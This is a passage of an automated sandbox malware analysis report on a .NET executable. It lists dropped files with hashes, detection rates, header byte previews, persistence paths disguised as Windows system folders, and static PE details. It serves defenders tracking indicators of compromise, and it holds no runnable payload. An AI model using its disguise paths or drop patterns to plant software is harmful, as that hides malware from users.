Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...v..d...........!..................... ........@.. ...............................[....@.................................l...O.................................................................................... ............... ..H............text....~... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........b...;...........a.......................................................................................................................................................................k.X...=.%Cu..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\jhNAiyRT.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.629584586954759
Encrypted:	false
SSDEEP:	768:tlPaJVGYXkJSMA2we8qlmau55wC1ND5kwcDl+y5X:chQZwalKdEfDld5
MD5:	D478E398EFCD2BD9BDBFEA958F7BEE4F
SHA1:	24CAA06949CDA52DB45F487EC2A8D3DE9C3FC1FC
SHA-256:	32E821193BE1D81BB3BE97F2719D28A0C7DD2E5BD94DC581D79A1497462EAC9B
SHA-512:	0705A42D2EE234D63DBE0A252A2048D85C817D8DF404EBFC12B583BF24AD84E111621727C7CB2369D1A22538354F725AADE067F0BDC4E2EBE2D61D937C130621
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!................>.... ........@.. ....................................@....................................O.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H........r..h?..........Lq..8....................................................................................................................................................................M..d..u7 ...jj.................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\kEKqFqTO.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	32256
Entropy (8bit):	5.631194486392901
Encrypted:	false
SSDEEP:	384:lP/qZmINM9WPs9Q617EsO2m2g7udB2HEsrW+a4yiym4I16Gl:lP/imaPyQ4T5dsHSt9nQ
MD5:	D8BF2A0481C0A17A634D066A711C12E9
SHA1:	7CC01A58831ED109F85B64FE4920278CEDF3E38D
SHA-256:	2B93377EA087225820A9F8E4F331005A0C600D557242366F06E0C1EAE003D669
SHA-512:	7FB4EB786528AD15DF044F16973ECA05F05F035491E9B1C350D6AA30926AAE438E98F37BE1BB80510310A91BC820BA3EDDAF7759D7D599BCDEBA0C9DF6302F60
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 25%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.....v..........n.... ........@.. ....................................@.....................................O.................................................................................... ............... ..H............text...tt... ...v.................. ..`.rsrc................x..............@..@.reloc...............\|..............@..B................P.......H........c...1..........._..h....................................................................................................................................................................Q.1k...].~g.v................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\kNhqpcmL.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.660491370279985
Encrypted:	false
SSDEEP:	768:1Q8H1q0rErIq3y48wo5iJyNJZ+pkw82VhgwgKZ:brErIqxPJRkw/VOwbZ
MD5:	240E98D38E0B679F055470167D247022
SHA1:	49888CCED719AE78EE3BAE2959402749668AA1C6
SHA-256:	C200E1BE39C35F8E57A0E1E241723FDB956089BC8EAD1235042456C7A3C4AD28
SHA-512:	93C1B6396C65C9EDACEFD6606A9563935D3C1331454DA69FA75D9B1CCE4D102A5F1B27B63FC3A7E485A083D8DAB1E6C4ECD01DD3CFED9B58DA6F4E90CC4F2998
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...n..d...........!.................... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B.......................H........q...@.......... q...........................................................................................................................................................................-\|{.3.g...p................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\lvPRxkTh.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	294912
Entropy (8bit):	6.010605469502259
Encrypted:	false
SSDEEP:	6144:f5M1rY+WGzK4NGSAhWj1dVV6cTl06YX6w/xHtRoNF:fuzzAWlvYXDRoNF
MD5:	00574FB20124EAFD40DC945EC86CA59C
SHA1:	8B96C4B6F450E711085AE7B22517C195222ACFDF
SHA-256:	3A0C38E5DC41A8D668EBDD9368CEE89F4991350E6967A9715CAE8F36E0D032BB
SHA-512:	B578007ECDCEC0D7A3A09F7E5D681A724FE2749CB46B58F5D5C96E88CAAC03C4570BB67F47BC45F01B9A47966086CC08DACB691AA2D26AD0262DC1257F7CA837
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d.........." .....x............... ........@.. ....................................@.....................................K.................................................................................... ............... ..H............text....v... ...x.................. ..`.rsrc................z..............@..@.reloc...............~..............@..B.......................H........y...............Z..............................................P...........W...........S...........[...........Q...........Y...........U.......A...]........@..P...........X...........T.......!...\........ ..R...........Z...........V....................`..P...........W...........S...........[...........Q...........Y...........U.......a...]........`..P...........X...........T.......1...\........0..R...........Z...........V....................`..........................

C:\Users\user\Desktop\mSMHUcVd.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	38912
Entropy (8bit):	5.679286635687991
Encrypted:	false
SSDEEP:	768:RH9nQF3DwRvGTYLOFbL79ed5l8UNebCPncg:TyDF0PybCPn
MD5:	9E910782CA3E88B3F87826609A21A54E
SHA1:	8DBC333244620EDA5D3F1C9EAA6B924455262303
SHA-256:	3B311986251EE5A303671108AFBAF43E0255C4CAE1C26CC9600BB0C7D22D3864
SHA-512:	592981359F46BBC577BE99DEFE3E2A17998BA2882AAAA20107841BCA97C2121CB97C45BC6EDBFC3F430D31450457CD855751727922AB4BB1A3C12DA050EEC057
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........k..hC...........j......................................................................................................................................................................`..~...CE.w#'..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\nguhEyda.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	33280
Entropy (8bit):	5.634433516692816
Encrypted:	false
SSDEEP:	384:TVyNAbQWfDL/QwV/AnmqieB2Ht50uVVxg+94HoxMttjICAQgEYhfAcGQMrygg4Ty:TKWfYwV2u3xg+94HoSbTY4f2gfcab
MD5:	0D323E1CACEA89CAA5DDEAF2F37BCA69
SHA1:	4769C3E947D02A1FD548BE64013F520D571D96E1
SHA-256:	873E7688D95DCAA5468BF94063A94C548EF0D8BE9D4111F1917DA482DBC2A64C
SHA-512:	73F4EDE6D4C62997A4F11AD09A12DFD0BFD749026209E63E52F9D979F9423FDD640E96FA59D51556001C4BE22888E59C67781970649387AF090E26AC40C0C0DE
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 8%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...k..d...........!.....z............... ........@.. ....................................@.................................h...S.................................................................................... ............... ..H............text....y... ...z.................. ..`.rsrc................\|..............@..@.reloc..............................@..B........................H.......@`..(9..........._......................................................................................................................................................................V.4...W..e..&&................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\oDYhwZmE.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	36352
Entropy (8bit):	5.668291349855899
Encrypted:	false
SSDEEP:	384:3+GMbUL+1FjuuGWkgoCFvMiAAsSZH14gXO9XBKeRg3U7ixu8bqMle9dCe4i2+o06:3+T93kgoCFkid/O9sU7io8b1ocl+o
MD5:	94DA5073CCC14DCF4766DF6781485937
SHA1:	57300CA6033974810B71CF1AB4F047A026924A7A
SHA-256:	B81B9FA9B7017BE34F62D30CB16BAAB33757F04CC94EF4D6459C9D3BC768FD18
SHA-512:	7D539ECED2F19166F0F6FAE6E2624C0440DEC87AA9751FA82387EECEF9945997ABAE58C886494633BA360B122BCA955B3DDAE26E5256E371A0528F48DFA17871
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...$.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H.......pi..T;...........g..x........................................................................................................................................................................XWJ..%.v0................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\qIDxbZVW.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vBMhZoht.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	41472
Entropy (8bit):	5.6808219961645605
Encrypted:	false
SSDEEP:	768:IUVSXpIia8xiZ7tRCoz79t6DrMhvUsJAnmboowvDG:IFXRa/Lzugszmboowb
MD5:	6CD78D07F9BD4FECC55CDB392BC5EC89
SHA1:	094DE32070BED60A811D983740509054AD017CE4
SHA-256:	16CC3B734E72A74F578B63D08D81CC75B6C2445FB631EFD19F8A70D786871AD4
SHA-512:	5E25659A66E62F368ACD69790F0CF460008CAA3BB106E45CBA4755896B1872C02438C94E6FB5576891F29B3FEA95D8AAD9BCD7659C179D9619A1CDDB240AEB32
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!.................... ........@.. ....................................@.................................x...S.................................................................................... ............... ..H............text....... ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H........s...D...........r............................................................................................................................................................................9..A..%+..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\vNbOSreM.log

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\xmrxgCsm.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	50176
Entropy (8bit):	5.723168999026349
Encrypted:	false
SSDEEP:	768:7PCvZsxIexhaqgbv8yGk/A/4NPmAQeMeYzlP58gH8zGTCWxttXyZPM:7P4ZsxIelkY/O+DeuzYbM5xXiE
MD5:	2E116FC64103D0F0CF47890FD571561E
SHA1:	3EF08A9B057D1876C24FC76E937CDA461FAC6071
SHA-256:	25EEEA99DCA05BF7651264FA0C07E0E91D89E0DA401C387284E9BE9AFDF79625
SHA-512:	39D09DE00E738B01B6D8D423BA05C61D08E281482C83835F4C88D2F87E6E0536DDC0101872CBD97C30F977BC223DFAE9FCB3DB71DD8078B7EB5B5A4D0D5207A8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 17%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......d...........!..................... ........@.. ....................... .......e....@.....................................K.................................................................................... ............... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..B........................H............M...................................................................................................................................................................................Xg;.6.'.1. b9g................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Users\user\Desktop\zavFSPnk.log

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	40448
Entropy (8bit):	5.7028690200758465
Encrypted:	false
SSDEEP:	768:HjeDAXQDM/RgUK+1x85+CnTzP5KJcSdhRGPQPfnay:HjWB2CnTzUJcSdTdP/
MD5:	51B1964F31C557AE8C2B01EA164ABD9F
SHA1:	97C6E8FD1F21D644281FAF82D017969FE22423E4
SHA-256:	AF584F142A9A5A79355B212F8D7A2E3793E33FF23D50FDE591FB2F3E49BF308C
SHA-512:	5D06650D77DD2D574A31664FE9CEAD5E13941F99B2CFA8ECAD972B9E999422816E43A2BE469D9BBDF2778654C22A52656D23B9F230D2F6DF3F2305ABAE779AC3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 12%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L..."..d...........!................n.... ........@.. ....................................@.....................................S.................................................................................... ............... ..H............text...t.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................P.......H........k..@I...........k...........................................................................................................................................................................B._.@.;..................................................................#...+...3...;...C...S...c...s...................................................................................................................................................................................

C:\Windows\CbsTemp\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3687424
Entropy (8bit):	7.822193946294839
Encrypted:	false
SSDEEP:	98304:y6HfMWt7I6kNE+VOoCCUAFIbEOyaeRCBWkfzZ:y6HfMWtk6klVlrFYEOZ4luzZ
MD5:	E6745A5BD70CF276B92B38CDE101FEEC
SHA1:	5AB864C5B1359BC30E3433954EBA659CD1E9FA37
SHA-256:	49019BC2C2573667816D4DA69C572B20BDEA344A1B2F0481E270CBA50337B8A7
SHA-512:	A363DF619A65B5DC82670352C2B6523EEB735EAD2B98A3FC85759876757A87C380B1ABF1C8230CD46F0B53415040300BB71FAE33BC4E2144983FDDBFB189A1A9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................<8..........[8.. ...`8...@.. ........................8...........@..................................Z8.K....`8.p.....................8...................................................... ............... ..H............text...4;8.. ...<8................. ..`.rsrc...p....`8......>8.............@....reloc........8......B8.............@..B.................[8.....H.......d...........t.......Ro-._Z8......................................0..........(.... ........8........E....).......M...N...8$...(.... ....~....{g...9....& ....8....(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8y......0.......... ........8........E........\.......P.......8\|...~....(a... .... .... ....s....~....(e....... ....~....{....9....& ....8....r...ps....z...... ....~....{....9q...& ....8f.......~....(i...~....(m... ....?.... ....8:...~....:..

C:\Windows\CbsTemp\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\CbsTemp\bac0f074c202d5

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	169
Entropy (8bit):	5.613285857462686
Encrypted:	false
SSDEEP:	3:sggPd3IE09/mNX41l/zu3rSptLC/QNRc3R37ymw9T8U+vtKX7Tzbd9UDOuxd:sggV3IXe5NbGEQN63NymSTmC7Lf+d
MD5:	B2ED2B78472E9FCF3DAEF7B276391CD8
SHA1:	65ABF87488FC7A77FCCA092B0B7C87E732B53E61
SHA-256:	43A8CCA324B2AAFC51524B2BC8BCF3222ADF7079069DDAD9416242D29A5A6242
SHA-512:	22A72135B0BFF032750A5AD3861BAB38B9F980990C036D0872635799A7E4E4E796B4D80395303B81E8FE09F67CCAC21B7269E4B6D8BFF797890B2267BA380E24
Malicious:	false
Preview:	6f12UE73066Pl5mH9rn9JmCxooHdBl9SQZPZv8ecxs35KR57p33CeoAUcDOq6e2P7o8LpMVBMKLasHnWtKxIr6ymY57rtyfT0o7gStRdh20TcklUa16vqthA0WwtPnRYo2kDJHD92UkyGfJyTmR11umGH7q66iN3lcok9iKTx

C:\Windows\DiagTrack\Settings\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	3687424
Entropy (8bit):	7.822193946294839
Encrypted:	false
SSDEEP:	98304:y6HfMWt7I6kNE+VOoCCUAFIbEOyaeRCBWkfzZ:y6HfMWtk6klVlrFYEOZ4luzZ
MD5:	E6745A5BD70CF276B92B38CDE101FEEC
SHA1:	5AB864C5B1359BC30E3433954EBA659CD1E9FA37
SHA-256:	49019BC2C2573667816D4DA69C572B20BDEA344A1B2F0481E270CBA50337B8A7
SHA-512:	A363DF619A65B5DC82670352C2B6523EEB735EAD2B98A3FC85759876757A87C380B1ABF1C8230CD46F0B53415040300BB71FAE33BC4E2144983FDDBFB189A1A9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 74%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................<8..........[8.. ...`8...@.. ........................8...........@..................................Z8.K....`8.p.....................8...................................................... ............... ..H............text...4;8.. ...<8................. ..`.rsrc...p....`8......>8.............@....reloc........8......B8.............@..B.................[8.....H.......d...........t.......Ro-._Z8......................................0..........(.... ........8........E....).......M...N...8$...(.... ....~....{g...9....& ....8....(.... ....~....{....9....& ....8....(.... ....~....{....:....& ....8y......0.......... ........8........E........\.......P.......8\|...~....(a... .... .... ....s....~....(e....... ....~....{....9....& ....8....r...ps....z...... ....~....{....9q...& ....8f.......~....(i...~....(m... ....?.... ....8:...~....:..

C:\Windows\DiagTrack\Settings\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	false
Preview:	[ZoneTransfer]....ZoneId=0

C:\Windows\DiagTrack\Settings\bac0f074c202d5

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	ASCII text, with very long lines (421), with no line terminators
Category:	dropped
Size (bytes):	421
Entropy (8bit):	5.870202024186957
Encrypted:	false
SSDEEP:	12:oJHP7vubFSn7hZge9GawUTOjV/CGSIW2JXKk+4pgC8:oJHP7vubFij9GpUTsj/W6aklyC8
MD5:	1A82864C6284ABEF40CCBE5E5381DD75
SHA1:	C3F143D352D5A5FEE36ECFAE14B39064C2AF44DF
SHA-256:	1C86EB09A2146D2E12DBF4FBC78B16B534125E9BFDEBA3F557217E9166D39C1B
SHA-512:	5D484B92BDA4825ACFDFCC856D029E9076E0DB1F4F32DA66C2B50FC715D5BD817530060D675392830B4ED9A9E92B623A03F29CA8B1B992861F94FDE23A02F497
Malicious:	false
Preview:	nWZg4Pd6MaHDUGqNo0jyvb8E41P7YDVt8IkhL5tUfl82q3iPcfPdmJoLXVlD9giIFXFLgJBsHOSJdGXBTAf3y1HyeZJ0UqU9DzwSyWtSdgWY1esR7ku9BpUOQQrG9LYb3TGnTFM6QMZRes79q22t5V7YehChomTSI5ehYE82XxtzPDthTsaHSpfiVrIvDpSn2GJjOZlm4AVImIIbxeN6MMAdZ5Lq5MysfF6J4KT4GyMRTW6Nir7ibVbqGqJSN4qsLmngL9hnLTzY9tJC97HOOPRJoQDNAAqMHeFqtZCjKUXIfCrWgHSQwcd6Vd156TnKmnQencSj5iE31Jnljqr3raapBJVQhHn0rNf2wMtDytUNYjELzQVQlucMMkdeHCBy5NMoouzW6nE8FMRbFJaRvWO7uSpLtO6vrgSKW

\Device\Null

Download File

Process:	C:\Windows\System32\w32tm.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	151
Entropy (8bit):	4.753369508127373
Encrypted:	false
SSDEEP:	3:VLV993J+miJWEoJ8FXE+MVXQvd5bRYKvpe0XXKvj:Vx993DEUMM9tuXs
MD5:	2AA05C354B06F922C3F931B3E8EC0689
SHA1:	ED44C6FDFE113579541DC3BF2C069E3FCCEE299F
SHA-256:	F86AA6B04CB477958ABA5E1EC01D404E18C80EA1939E62231C4A0247560B7252
SHA-512:	0C865236A326B8186AE57A3154746A76D7B61FC4013F435CDD677927FB90BC863D02BBFE6150E9442F353D5E6D41C06125205005DB72E15007B6606767C45CA7
Malicious:	false
Preview:	Tracking localhost [[::1]:123]..Collecting 2 samples..The current time is 04/01/2025 08:42:22..08:42:22, error: 0x80072746.08:42:27, error: 0x80072746.

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.822193946294839
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.80% Win32 Executable (generic) a (10002005/4) 49.75% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Windows Screen Saver (13104/52) 0.07% Generic Win/DOS Executable (2004/3) 0.01%
File name:	aW6kSsgdvv.exe
File size:	3'687'424 bytes
MD5:	e6745a5bd70cf276b92b38cde101feec
SHA1:	5ab864c5b1359bc30e3433954eba659cd1e9fa37
SHA256:	49019bc2c2573667816d4da69c572b20bdea344a1b2f0481e270cba50337b8a7
SHA512:	a363df619a65b5dc82670352c2b6523eeb735ead2b98a3fc85759876757a87c380b1abf1c8230cd46f0b53415040300bb71fae33bc4e2144983fddbfb189a1a9
SSDEEP:	98304:y6HfMWt7I6kNE+VOoCCUAFIbEOyaeRCBWkfzZ:y6HfMWtk6klVlrFYEOZ4luzZ
TLSH:	4B06F1179A729E73C3AA7F3094D7052F42B0D7366657EF2B391F10D2A9076318A122B7
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...u..e.................<8..........[8.. ...`8...@.. ........................8...........@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x785b2e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, LARGE_ADDRESS_AWARE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6507AC75 [Mon Sep 18 01:48:37 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x385ae0	0x4b	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x386000	0x370	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
